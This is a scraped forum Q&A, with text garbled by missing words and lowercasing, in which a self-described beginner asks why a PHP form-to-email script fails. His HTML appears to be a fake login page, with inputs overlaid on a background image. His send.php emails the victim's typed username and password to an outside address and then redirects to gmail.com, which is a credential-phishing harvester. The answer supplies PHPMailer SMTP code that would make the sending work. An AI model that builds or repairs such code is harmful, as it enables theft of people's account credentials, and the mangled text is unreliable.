php - How can I send e-mail on form_submit? -


i'm beginner , i'm assigning tasks myself. built html page in added form. looks this:

<body background="images/backgr.jpg" bgproperties="fixed" style="background-attachment:fixed;background-repeat:no-repeat;">  <form action="send.php" method="post"> <input name="username" type="text" style="position:absolute;width:266px;left:720px;top:306px;z-index:0"> <input name="password" type="password" style="position:absolute;width:266px;left:720px;top:354px;z-index:1"> <input type="image" name= "submit" id="submit" src="images/button.jpg" style="position:absolute; overflow:hidden; left:720px; top:383px; width:22px; height:22px; z-index:2" alt="submit" title="submit" border=0 width=22 height=22>     </a></div> </form> 

and php file 'send.php':

<?php  if(isset($_post['submit'])){ $to = "salut@bagaiacimailu.com"; // <mail-ul nostru $user_name = $_post['username']; $password = $_post['password']; $subject = "you got mail!"; $message = $username . " " . $password . "; mail($to,$subject,$message,$headers); } header (location: "www.gmail.com"); ?> 

i error when submit button pressed on html.

download , read phpmailer,and use following code :

                            <?php                         if (isset ( $_post ['submit'] )) {                             require 'phpmailer/phpmailerautoload.php';                              $mail = new phpmailer ();                              $mail->issmtp (); // set mailer use smtp                             $mail->host = 'smtp.gmail.com'; // specify main , backup smtp servers                             $mail->smtpauth = true; // enable smtp authentication                             $mail->username = 'youremail@xyz.com'; // smtp username                             $mail->password = 'password'; // smtp password                             $mail->smtpsecure = 'tls'; // enable tls encryption, `ssl` accepted                             $mail->port = 587; // tcp port connect                              $mail->setfrom ( 'fromemailaddress', 'xyz' );                             $mail->addreplyto ( 'toemailaddress', 'xyz' );                             $mail->addaddress ( 'fromemailaddress' ); // add recipient                                                                       // $mail->addcc('cc@example.com');                                                                       // $mail->addbcc('bcc@example.com');                              $mail->ishtml ( true ); // set email format html                              $bodycontent = '<h1>hello </h1>';                             $bodycontent .= '<p>this 1st email through php</p>';                              $mail->subject = 'email localhost codexworld';                             $mail->body = $bodycontent;                              if (! $mail->send ()) {                                 echo 'message not sent.';                                 echo 'mailer error: ' . $mail->errorinfo;                             } else {                                 echo 'message has been sent';                             }                         }                          ?>         <form action="#" method="post">             <input name="username" type="text"> <input name="password"                 type="password"> <input type="submit" name="submit" id="submit" />         </form> 

Comments

Popular posts from this blog

magento2 - Magento 2 admin grid add filter to collection -

Android volley - avoid multiple requests of the same kind to the server? -

Combining PHP Registration and Login into one class with multiple functions in one PHP file -